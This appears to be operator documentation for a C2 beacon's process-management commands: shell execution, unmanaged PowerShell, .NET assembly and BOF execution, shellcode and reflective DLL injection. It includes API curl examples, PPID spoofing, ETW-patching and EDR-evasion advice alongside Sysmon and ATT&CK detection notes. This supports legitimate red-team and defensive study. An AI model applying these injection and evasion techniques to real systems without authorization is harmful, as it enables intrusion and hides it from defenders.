Process Management¶
Commands for process interaction: list running processes, execute commands, spawn new processes, inject into existing processes, and kill processes on the target host.
Process management commands fall into two execution models:
- Inline execution -- runs within the beacon process itself. No child processes are created, but a crash affects the beacon.
- Fork-and-run -- spawns a sacrificial child process, performs work there, captures output via a named pipe, then terminates the child. Safer for the beacon but creates process artifacts.
flowchart LR
A[Operator] -->|Shell Command| B[Backend]
B -->|Task Queue| C[Beacon]
C -->|Inline| D[Beacon Process<br/>Direct Execution]
C -->|Fork & Run| E[Sacrificial Process<br/>Output via Pipe]
style A fill:#6a1b9a,color:#fff
style B fill:#4a148c,color:#fff
style C fill:#311b92,color:#fff
style D fill:#1a237e,color:#fff
style E fill:#0d47a1,color:#fff Command Reference¶
| Command | Syntax | Execution Model | Description | OPSEC Impact |
|---|---|---|---|---|
ps | ps | Inline | List running processes | Low |
kill | kill <pid> | Inline | Kill process by PID | Low |
shell | shell <command> | Fork-and-run | Execute via cmd.exe /c | High |
run | run <program> [args] | Fork-and-run | Execute without cmd.exe, capture output | Medium |
execute | execute <program> [args] | Fork-and-run | Execute without cmd.exe, no output | Medium |
powershell | powershell <command> | Fork-and-run | Execute via powershell.exe | High |
powerpick | powerpick <command> | Fork-and-run | Unmanaged PowerShell (no powershell.exe) | Medium |
psinject | psinject <pid> <arch> <command> | Injection | PowerShell in remote process | High |
execute-assembly | execute-assembly <path> [args] | Fork-and-run | .NET assembly in memory | Medium |
execute-dll | execute-dll <dll_data> [arch] | Fork-and-run | DLL via sRDI in sacrificial process | Medium |
inline-execute | inline-execute <bof> [args] | Inline | Beacon Object File (BOF) | Low |
shspawn | shspawn <arch> <shellcode> | Fork-and-run | Shellcode in sacrificial process | Medium |
shinject | shinject <pid> <arch> <shellcode> | Injection | Shellcode into existing process | High |
dllinject | dllinject <pid> <dll> | Injection | Reflective DLL injection | High |
dllload | dllload <pid> <dll> | Injection | DLL via LoadLibrary | High |
Process Listing¶
ps¶
List running processes on the target host. The implant enumerates processes using NtQuerySystemInformation or CreateToolhelp32Snapshot -- no cmd.exe is spawned. Output includes PID, PPID, process name, architecture, user, and session ID.
Task type: ps (method: list)
Dedicated endpoint: POST /api/v1/cockpit/beacons/:id/processes
Example output:
PID PPID Name Arch User Session
--- ---- ---- ---- ---- -------
0 0 [System Process] x64 0
4 0 System x64 NT AUTHORITY\SYS 0
672 4 smss.exe x64 NT AUTHORITY\SYS 0
788 672 csrss.exe x64 NT AUTHORITY\SYS 0
1284 788 svchost.exe x64 NT AUTHORITY\SYS 0
3456 1284 explorer.exe x64 CORP\jsmith 2
5678 3456 chrome.exe x64 CORP\jsmith 2
OPSEC
Process enumeration uses native Windows APIs without spawning child processes. This is one of the lowest-impact reconnaissance commands available. However, frequent process listing may be correlated by behavioral analytics.
Process Termination¶
kill¶
Terminate a process by PID using TerminateProcess.
Task type: kill (method: kill)
Dedicated endpoint: POST /api/v1/cockpit/beacons/:id/processes/kill
OPSEC
Terminating processes may trigger EDR alerts, especially for protected or monitored processes. Process termination events are logged by Sysmon (Event ID 5) and ETW providers.
Command Execution¶
Three command execution variants are available, each with different tradeoffs between OPSEC and functionality.
Task type: exec (method varies: shell, run, execute)
Execute a command via cmd.exe /c. Captures output and returns it to the operator. This is the most compatible execution method but has the highest OPSEC impact due to cmd.exe process creation.
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "shell whoami /all"}'
OPSEC
- Spawns
cmd.exeas a child process of the beacon - Detectable via Sysmon Event ID 1 (process creation) with
cmd.exe /ccommand line - EDR products heavily monitor
cmd.exeparent-child relationships - When PPID spoofing is enabled,
cmd.exeappears under the spoofed parent - MITRE ATT&CK: T1059.003 (Command and Scripting Interpreter: Windows Command Shell)
Execute a program directly without cmd.exe. Captures output and returns it to the operator. Lower OPSEC impact than shell because no command interpreter is involved.
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "run whoami.exe /all"}'
The run command dispatches an exec task with method run, which calls CreateProcess directly for the specified program, captures stdout and stderr, and returns the combined output.
OPSEC
- No
cmd.exeintermediary -- the target program runs directly as a child of the beacon - Still creates a child process (visible in process tree)
- Token inheritance: runs under the currently impersonated token if active
- MITRE ATT&CK: T1106 (Native API)
Execute a program in the background without capturing output. The program starts and the beacon immediately returns. Use this for long-running operations or when output is not needed.
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "execute notepad.exe"}'
Returns: Started notepad.exe (PID 4321)
OPSEC
- No
cmd.exeintermediary, no output pipe - Creates a detached child process
- Process continues running after beacon reports back
- Token inheritance: runs under the currently impersonated token if active
- MITRE ATT&CK: T1106 (Native API)
Token Inheritance¶
All three execution commands (shell, run, execute) inherit the beacon's current impersonation token. If you have used steal_token or make_token to impersonate another user, child processes run under that identity. This uses CreateProcessAsUser internally via Go's SysProcAttr.Token.
PPID Spoofing¶
When PPID spoofing is enabled (via config ppid_target <process>), the shell command spawns cmd.exe with a fake parent process. The child appears in process tree tools under the spoofed parent (e.g., explorer.exe) instead of the beacon process.
PPID spoofing limitations
- PPID spoofing uses
PROC_THREAD_ATTRIBUTE_PARENT_PROCESSviaCreateProcess - Output capture is not available with PPID spoofing (command runs in a separate process tree)
- Detectable via ETW
Microsoft-Windows-Kernel-Processevents whereEventHeader.ProcessIdreveals the real parent - Token inheritance and PPID spoofing are mutually exclusive -- PPID spoofing takes priority
PowerShell Execution¶
Execute a command via powershell.exe. The beacon spawns powershell.exe as a child process, passes the command, and captures the output.
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "powershell Get-Process | Select-Object -First 10"}'
OPSEC
- Spawns
powershell.exeas a child process -- heavily monitored by EDR - Subject to AMSI scanning (Anti-Malware Scan Interface)
- ScriptBlock logging records the full command (Event ID 4104)
- Module logging records imported modules (Event ID 4103)
- PowerShell Transcription logging may capture all I/O to a transcript file
- MITRE ATT&CK: T1059.001 (Command and Scripting Interpreter: PowerShell)
Execute PowerShell without spawning powershell.exe. Uses unmanaged PowerShell via CLR hosting in a sacrificial process. The .NET CLR is loaded into the sacrificial process, and the PowerShell command is executed through the System.Management.Automation namespace.
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "powerpick Get-Process | Select-Object -First 10"}'
OPSEC advantage
powerpick avoids spawning powershell.exe, which is the primary detection signal for PowerShell-based attacks. However, the CLR hosting in a non-PowerShell process may itself be suspicious -- EDR products monitor CLR loads (clr.dll, clrjit.dll) in unexpected processes. AMSI integration in .NET 4.8+ may still apply.
Inject a PowerShell command into a remote process. The beacon injects a CLR hosting payload into the target process, which then executes the PowerShell command.
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "psinject 3456 x64 Get-Process"}'
| Parameter | Description |
|---|---|
pid | Target process PID |
arch | Target process architecture (x86 or x64) |
command | PowerShell command to execute |
OPSEC
- Combines process injection with CLR hosting -- two high-visibility operations
- The target process loads CLR DLLs (detection signal)
- AMSI may apply within the injected CLR context
- Cross-process injection triggers Sysmon Event ID 8 (CreateRemoteThread)
- MITRE ATT&CK: T1055 (Process Injection) + T1059.001 (PowerShell)
.NET Assembly Execution¶
execute-assembly¶
Execute a .NET assembly in memory via CLR hosting in a sacrificial process. The assembly binary is read from the operator's machine, converted to shellcode via Donut on the Relay, and executed via fork-and-run. Output is captured via a named pipe.
Task type: execute_assembly (dispatched via Relay for Donut conversion)
How it works:
- Backend reads the .NET assembly file and base64-encodes it
- The Relay converts the assembly to shellcode using Donut (
DONUT_MODULE_NET_EXE) - The beacon spawns a sacrificial process (using spawnto configuration)
- The shellcode is injected into the sacrificial process
- CLR loads and executes the assembly
- Output is captured via a named pipe and returned to the operator
- The sacrificial process terminates
PATCHES prefix: Optionally specify in-memory patches to apply before execution. Format: PATCHES: dll,function,offset,hex_bytes. Common use: patch EtwEventWrite to ret (c3) to suppress ETW telemetry from the assembly.
OPSEC
- CLR DLLs loaded in the sacrificial process:
clr.dll,clrjit.dll,mscorlib.ni.dll - CLR loading in non-.NET processes is a strong detection signal for EDR
- No file drops to disk -- assembly executes entirely in memory
- Sacrificial process creation generates Sysmon Event ID 1
- Memory forensics can recover .NET assembly artifacts
- MITRE ATT&CK: T1059.001 (PowerShell/CLR) + T1055 (Process Injection)
execute-dll¶
Execute a DLL's exported function in memory via sRDI (Shellcode Reflective DLL Injection) and fork-and-run. The DLL is converted to position-independent shellcode and executed in a sacrificial process with bidirectional I/O.
Task type: postex (method: execute)
OPSEC
- DLL is converted to shellcode via sRDI -- no file on disk
- Executes in a sacrificial process via fork-and-run
- Output captured via named pipe (bidirectional I/O)
- Detection: DLL artifacts in process memory, sacrificial process creation
BOF Execution¶
inline-execute¶
Execute a Beacon Object File (BOF) inline within the beacon process. BOFs are position-independent COFF object files that run directly in the beacon's memory space without creating a sacrificial process.
Task type: bof_execute
How it works:
- Backend reads the BOF file and base64-encodes it
- The beacon's BOF executor resolves the BOF's imports against the Beacon API
- The BOF's
gofunction executes in the beacon's own thread - Output is returned via the BOF output API (
BeaconPrintf,BeaconOutput)
BOF vs fork-and-run
BOFs execute inline in the beacon process, meaning no child process is created. This is the most OPSEC-friendly execution method for post-exploitation tasks. However, a crashing BOF will crash the entire beacon. Test BOFs thoroughly in a lab before production use.
OPSEC
- No child process creation -- lowest OPSEC footprint of all execution methods
- Executes in beacon's address space (crash risk to beacon)
- No CLR loading, no script engines, no file drops
- Memory-only -- BOF code is loaded, executed, and freed
- MITRE ATT&CK: T1106 (Native API)
Fork-and-Run / Process Injection¶
These commands execute shellcode or DLLs either in a new sacrificial process (fork-and-run) or in an existing target process (injection).
shspawn¶
Execute raw shellcode in a sacrificial process via fork-and-run. The beacon spawns a new process (using the spawnto configuration), injects the shellcode, and executes it.
Task type: shspawn
| Parameter | Description |
|---|---|
arch | Shellcode architecture: x86 or x64 |
shellcode_file | Path to raw shellcode binary on the operator's machine |
The shspawn command invokes the PROCESS_INJECT_SPAWN CNA hook, allowing aggressor scripts to customize the injection technique and sacrificial process selection.
OPSEC
- Creates a sacrificial process (configurable via
spawnto) - Process injection into the sacrificial process (Sysmon Event ID 8/10)
- Choose a
spawntobinary that blends with the target environment - MITRE ATT&CK: T1055 (Process Injection)
shinject¶
Inject shellcode into an existing process. Unlike shspawn, this targets a process that is already running, avoiding the creation of a new sacrificial process.
Task type: interop (method: shinject)
| Parameter | Description |
|---|---|
pid | Target process PID |
arch | Target process architecture: x86 or x64 |
shellcode_file | Path to raw shellcode binary on the operator's machine |
The shinject command invokes the PROCESS_INJECT_EXPLICIT CNA hook for technique customization.
OPSEC
- Cross-process injection into an existing process
- Memory allocation in the target process (VirtualAllocEx)
- Thread creation in the target process (CreateRemoteThread or equivalent)
- Detectable via Sysmon Event ID 8 (CreateRemoteThread), Event ID 10 (ProcessAccess)
- Choose a target process that normally allocates executable memory (e.g., a browser)
- MITRE ATT&CK: T1055.001 (Dynamic-link Library Injection) or T1055.003 (Thread Execution Hijacking)
dllinject¶
Reflective DLL injection into a target process. The DLL is loaded into the target process's memory without calling LoadLibrary, avoiding the standard DLL load event chain.
Task type: interop (method: dllinject)
| Parameter | Description |
|---|---|
pid | Target process PID |
dll_file | Path to the DLL on the operator's machine |
OPSEC
- Reflective loading avoids the standard
LdrLoadDll/LoadLibraryevent chain - Memory allocated as
MEM_PRIVATE(notMEM_IMAGE) -- detectable by memory scanners - No Sysmon Event ID 7 (DLL load) because
LoadLibraryis not called - Cross-process memory writes and thread creation are still visible
- MITRE ATT&CK: T1055.001 (Dynamic-link Library Injection)
dllload¶
Load a DLL into a target process via LoadLibrary. Unlike dllinject, this uses the standard Windows DLL loading mechanism, which triggers DLL load events.
Task type: interop (method: dllload)
| Parameter | Description |
|---|---|
pid | Target process PID |
dll_path | Path to the DLL on the target filesystem |
OPSEC
- Uses
LoadLibrary-- triggers Sysmon Event ID 7 (DLL load) - DLL must exist on the target's filesystem (not operator's machine)
- DLL file is subject to AV/EDR static scanning on disk
MEM_IMAGEbacking -- looks legitimate in memory scans- Simpler than reflective injection but more detectable on disk
- MITRE ATT&CK: T1055.001 (Dynamic-link Library Injection)
Task Type Reference¶
| Command | Task Type | Module | Method |
|---|---|---|---|
ps | ps | ps | list |
kill | kill | kill | kill |
shell | exec | exec | shell (default) |
run | exec | exec | run |
execute | exec | exec | execute |
powershell | exec | exec | shell (via powershell.exe) |
powerpick | exec | exec | (unmanaged CLR) |
psinject | interop | interop | psinject |
execute-assembly | execute_assembly | Relay + shspawn | Donut conversion + fork-and-run |
execute-dll | postex | postex | execute (sRDI) |
inline-execute | bof_execute | bof | BOF inline |
shspawn | shspawn | shspawn | Fork-and-run |
shinject | interop | interop | shinject |
dllinject | interop | interop | dllinject |
dllload | interop | interop | dllload |
Execution Model Comparison¶
| Model | Child Process | Crash Impact | Output Capture | OPSEC Level |
|---|---|---|---|---|
| Inline (BOF) | None | Beacon crash | Yes (BOF API) | Best |
| Fork-and-run (shspawn, execute-assembly) | Sacrificial | Child crash only | Yes (named pipe) | Good |
| Run/Execute (run, execute) | Direct child | Child crash only | Yes/No | Medium |
| Shell (shell, powershell) | cmd.exe/powershell.exe | Child crash only | Yes | Worst |
| Injection (shinject, dllinject) | None (existing) | Target crash | Limited | High risk |
Choosing the right execution method
- BOF first -- if a BOF exists for the task, use
inline-execute. No process creation, lowest footprint. - execute-assembly second -- for .NET tools (Seatbelt, Rubeus, SharpHound), use
execute-assembly. Fork-and-run protects the beacon. - run for native tools -- use
runinstead ofshellto avoidcmd.exe. Only useshellwhen you need shell features (pipes, redirects, environment variables). - powerpick over powershell -- always prefer
powerpickto avoid spawningpowershell.exe. - Injection last --
shinjectanddllinjectare powerful but risk crashing the target process. Use carefully.